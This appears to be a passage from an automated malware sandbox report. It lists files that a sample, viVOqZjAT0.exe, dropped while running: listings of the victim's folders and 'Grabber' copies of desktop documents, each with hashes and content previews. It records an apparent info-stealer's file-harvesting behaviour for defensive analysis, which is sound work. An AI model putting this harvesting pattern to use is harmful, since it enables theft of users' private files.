Preview:	Documents\...BPMLNOBVSB\...DVWHKMNFNN\...LTKMYBSEYZ\...My Music\....desktop.ini...My Pictures\....Camera Roll\.....desktop.ini....Saved Pictures\.....desktop.ini....desktop.ini...My Videos\....desktop.ini...ONBQCLYSPU\....HTAGVDFUIE.pdf....KZWFNRXYKI.mp3....LTKMYBSEYZ.jpg....ONBQCLYSPU.docx....UMMBDNEQBN.xlsx....WUTJSCBCFX.png...UOOJJOZIRH\...VLZDGUKUTZ\....FENIVHOIKN.mp3....HTAGVDFUIE.xlsx....KZWFNRXYKI.jpg....NIKHQAIQAU.png....NWTVCDUMOB.pdf....VLZDGUKUTZ.docx...XZXHAVGRAG\....HTAGVDFUIE.mp3....KATAXZVCPS.png....ONBQCLYSPU.xlsx....UMMBDNEQBN.jpg....VLZDGUKUTZ.pdf....XZXHAVGRAG.docx...ZBEDCJPBEY\...ZTGJILHXQB\...desktop.ini...FENIVHOIKN.mp3...HTAGVDFUIE.mp3...HTAGVDFUIE.pdf...HTAGVDFUIE.xlsx...KATAXZVCPS.png...KZWFNRXYKI.jpg...KZWFNRXYKI.mp3...LTKMYBSEYZ.jpg...NIKHQAIQAU.png...NWTVCDUMOB.pdf...ONBQCLYSPU.docx...ONBQCLYSPU.xlsx...UMMBDNEQBN.jpg...UMMBDNEQBN.xlsx...VLZDGUKUTZ.docx...VLZDGUKUTZ.pdf...WUTJSCBCFX.png...XZXHAVGRAG.docx..

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Directories\Downloads.txt

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.285684426154722
Encrypted:	false
SSDEEP:	6:3tSLKJswhjzAhjHs1j0/eyPcMuhOLt7ydsd+kGDysmFEKTFYd/r53raj7IsNubSM:QLKJsqvaI1w/8wLmwGDysmFEKTFYdjxL
MD5:	8309266C95CA0536FA7C7D24DD510A68
SHA1:	1B5FEF428E41596A839B7C8C5113F351562C7F86
SHA-256:	70FEC1166A36BC10FD82C09C5380E24DA6E673AD02CCC57110501684865360C8
SHA-512:	0761522F3023B5E91636645F0CC2807B1DA8AB42D25036FD0259811F8D8CABDC6107AD3253690B377CD997849C031B46DAB14D494C5597E3D55905A2622D4215
Malicious:	false
Preview:	Downloads\...desktop.ini...FENIVHOIKN.mp3...HTAGVDFUIE.mp3...HTAGVDFUIE.pdf...HTAGVDFUIE.xlsx...KATAXZVCPS.png...KZWFNRXYKI.jpg...KZWFNRXYKI.mp3...LTKMYBSEYZ.jpg...NIKHQAIQAU.png...NWTVCDUMOB.pdf...ONBQCLYSPU.docx...ONBQCLYSPU.xlsx...UMMBDNEQBN.jpg...UMMBDNEQBN.xlsx...VLZDGUKUTZ.docx...VLZDGUKUTZ.pdf...WUTJSCBCFX.png...XZXHAVGRAG.docx..

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Directories\OneDrive.txt

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.023465189601646
Encrypted:	false
SSDEEP:	3:1hiR8LKB:14R8LKB
MD5:	966247EB3EE749E21597D73C4176BD52
SHA1:	1E9E63C2872CEF8F015D4B888EB9F81B00A35C79
SHA-256:	8DDFC481B1B6AE30815ECCE8A73755862F24B3BB7FDEBDBF099E037D53EB082E
SHA-512:	BD30AEC68C070E86E3DEC787ED26DD3D6B7D33D83E43CB2D50F9E2CFF779FEE4C96AFBBE170443BD62874073A844BEB29A69B10C72C54D7D444A8D86CFD7B5AA
Malicious:	false
Preview:	OneDrive\...desktop.ini..

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Directories\Pictures.txt

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.450045114302317
Encrypted:	false
SSDEEP:	3:YzIVqIPLKmwHW8LKKrLKB:nqyLKmYNLKCLKB
MD5:	D430E8A326E3D75F5E49C40C111646E7
SHA1:	D8F2494185D04AB9954CD78268E65410768F6226
SHA-256:	22A45B5ECD9B66441AE7A7AB161C280B6606F920A6A6C25CD7B9C2D4CEB3254D
SHA-512:	1E8139844D02A3009EE89E2DC33CF9ED79E988867974B1291ABA8BC26C30CB952F10E88E0F44A4AEEE162A27E71EAA331CF8AC982B4179DC8203F6F7280BA5AE
Malicious:	false
Preview:	Pictures\...Camera Roll\....desktop.ini...Saved Pictures\....desktop.ini...desktop.ini..

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Directories\Startup.txt

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.053508854797679
Encrypted:	false
SSDEEP:	3:jgBLKB:j4LKB
MD5:	68C93DA4981D591704CEA7B71CEBFB97
SHA1:	FD0F8D97463CD33892CC828B4AD04E03FC014FA6
SHA-256:	889ED51F9C16A4B989BDA57957D3E132B1A9C117EE84E208207F2FA208A59483
SHA-512:	63455C726B55F2D4DE87147A75FF04F2DAA35278183969CCF185D23707840DD84363BEC20D4E8C56252196CE555001CA0E61B3F4887D27577081FDEF9E946402
Malicious:	false
Preview:	Startup\...desktop.ini..

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Directories\Temp.txt

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4022
Entropy (8bit):	5.343576709202461
Encrypted:	false
SSDEEP:	96:4jzcRPTmt6qESfsNwQX/dhewrbIGVGOkSlmA+dDZfwq:BtbSkvvTxUKTq
MD5:	8C3CBC4B095E12927C8A806023A11E41
SHA1:	24BBCA9625DD443B8BD21037383C51B38276FF54
SHA-256:	421713655793603DF1C9E1D094F8CD943D6BF38C9DA7298E5A39F0E251F787DA
SHA-512:	08BA8F025F9A97AA03A37B3D2242E4D15FA216D9CAEDE1D4812F15885B32F4A2C8A6CFD529E356B10F6272942C9A55A3EF581363ED0C9DD1A36CB27E52237DF6
Malicious:	false
Preview:	Temp\...acrobat_sbx\....Adobe\.....Acrobat\......DC\....NGL\.....NGLClient_AcrobatReader123.6.20320.6 2023-10-04 13-00-50-743.log.....NGLClient_AcrobatReader123.6.20320.6 2023-10-04 13-01-22-078.log.....NGLClient_AcrobatReader123.6.20320.6.log....acroNGLLog.txt...acrocef_low\...acrord32_super_sbx\....Adobe\.....Acrobat\......DC\.......SearchEmbdIndex\...Diagnostics\....EXCEL\.....App1696334775820156800_6EB929AF-656E-4F43-9731-EA7753E1F1BD.log.....App1696334923056622400_BD966DD2-7850-423A-B1D8-7882CE1A6D15.log.....App1696417072488237400_C12D9B44-3468-47BC-9418-BF0A674A2B2F.log.....App1696417101742322600_290EFEE9-C25A-4857-9F32-D7E6D51B7C09.log.....App1696417118050662300_8475A8C9-2447-4BC4-8E46-350AA0582B94.log.....App1696417118051710600_8475A8C9-2447-4BC4-8E46-350AA0582B94.log.....App_1696413198165042300_AA3FCB9C-CF1A-4407-8A94-A7D6C220021F.log...Low\...mozilla-temp-files\...Symbols\....ntkrnlmp.pdb\.....68A17FAF3012B7846079AEECDBE0A5831\......download.error......ntkrnlmp.pdb....winload

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Directories\Videos.txt

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.7950885863977324
Encrypted:	false
SSDEEP:	3:k+JrLKB:k+JrLKB
MD5:	1FDDBF1169B6C75898B86E7E24BC7C1F
SHA1:	D2091060CB5191FF70EB99C0088C182E80C20F8C
SHA-256:	A67AA329B7D878DE61671E18CD2F4B011D11CBAC67EA779818C6DAFAD2D70733
SHA-512:	20BFEAFDE7FEC1753FEF59DE467BD4A3DD7FE627E8C44E95FE62B065A5768C4508E886EC5D898E911A28CF6365F455C9AB1EBE2386D17A76F53037F99061FD4D
Malicious:	false
Preview:	Videos\...desktop.ini..

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\HTAGVDFUIE.pdf

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\KATAXZVCPS.png

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\KZWFNRXYKI.jpg

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\LTKMYBSEYZ.jpg

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NIKHQAIQAU.png

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	true
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NWTVCDUMOB.pdf

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
